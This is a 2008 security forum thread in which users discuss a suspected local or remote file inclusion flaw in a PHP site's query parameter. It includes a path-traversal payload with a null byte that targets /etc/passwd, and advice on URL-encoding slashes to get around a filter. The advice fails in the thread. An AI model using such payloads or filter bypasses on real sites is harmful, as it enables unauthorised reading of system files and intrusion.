 |
|
 |
 |
Menu |
 |
|
 Home |
| |
|
 Discussions |
| |
|
 Tools |
| |
|
| Affiliates |
| |
|
 Content |
| |
|
 Info |
| | |
|
|
|
|
|
User Info |
|
 Membership:
 Latest: MichaelSnaRe
 New Today: 0
 New Yesterday: 0
 Overall: 9144
 People Online:
 Visitors: 42
 Members: 0
 Total: 42
|
|
|
|
|
|
Full disclosure |
|
|
|
 |
|
 |
 |
|
 |
IT Security and Insecurity Portal |
|
|
Hi ALL! |
|
 Posted: Fri Dec 19, 2008 9:13 pm |
 |
|
| TUPKO |
| Regular user |
 |
|
| Joined: Jun 24, 2008 |
| Posts: 8 |
|
|
|
 |
|
 |
|
Posible RFI or LFI ???
When i try to open www.site.com/?bla=sss i got this
Warning: include(sss.php) [function.include]: failed to open stream: No such file or directory in /var/www/site/htdocs/index.php on line 20
Warning: include() [function.include]: Failed opening 'sss.php' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in /var/www/site/htdocs/index.php on line 20 |
|
|
|
|
| Posted: Fri Dec 19, 2008 9:19 pm |
|
|
| Henderson |
| Valuable expert |
|
|
| Joined: Jul 11, 2008 |
| Posts: 58 |
|
|
|
|
|
|
|
You're right.
| Code: | <?
...
include($_GET['bla'].'.php');
...
?> |
|
|
|
|
|
| Posted: Fri Dec 19, 2008 9:29 pm |
|
|
| TUPKO |
| Regular user |
|
|
| Joined: Jun 24, 2008 |
| Posts: 8 |
|
|
|
|
|
|
|
| Henderson wrote: | You're right.
| Code: | <?
...
include($_GET['bla'].'.php');
...
?> |
|
Nice. But if when i try this
www.site.com/?bla=../../../../etc/passwd%00 i got this
Warning: include(..Cant !..Cant !..Cant !..Cant !etcCant !passwd\0.php) [function.include]: failed to open stream: No such file or directory in /var/www/site/htdocs/index.php on line 20
Warning: include() [function.include]: Failed opening '..Cant !..Cant !..Cant !..Cant !etcCant !passwd\0.php' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in /var/www/site/htdocs/index.php on line 20
??? posible to bypass this ??? |
|
|
|
|
| Posted: Fri Dec 19, 2008 9:47 pm |
|
|
| Henderson |
| Valuable expert |
|
|
| Joined: Jul 11, 2008 |
| Posts: 58 |
|
|
|
|
|
|
|
| magic_quotes is on so null byte is escaped, additionally it replaces '/' with 'Cant !' from what I see. Try to put %2F or %252F instead of slash, but you will be still limited to *.php files (in case of LFI). |
|
|
|
|
| Posted: Fri Dec 19, 2008 10:03 pm |
|
|
| TUPKO |
| Regular user |
|
|
| Joined: Jun 24, 2008 |
| Posts: 8 |
|
|
|
|
|
|
|
| Henderson wrote: | | magic_quotes is on so null byte is escaped, additionally it replaces '/' with 'Cant !' from what I see. Try to put %2F or %252F instead of slash, but you will be still limited to *.php files (in case of LFI). |
same  |
|
|
|
|
www.waraxe.us Forum Index -> Remote file inclusion
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
|
All times are GMT
Page 1 of 1
|
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|
|
|
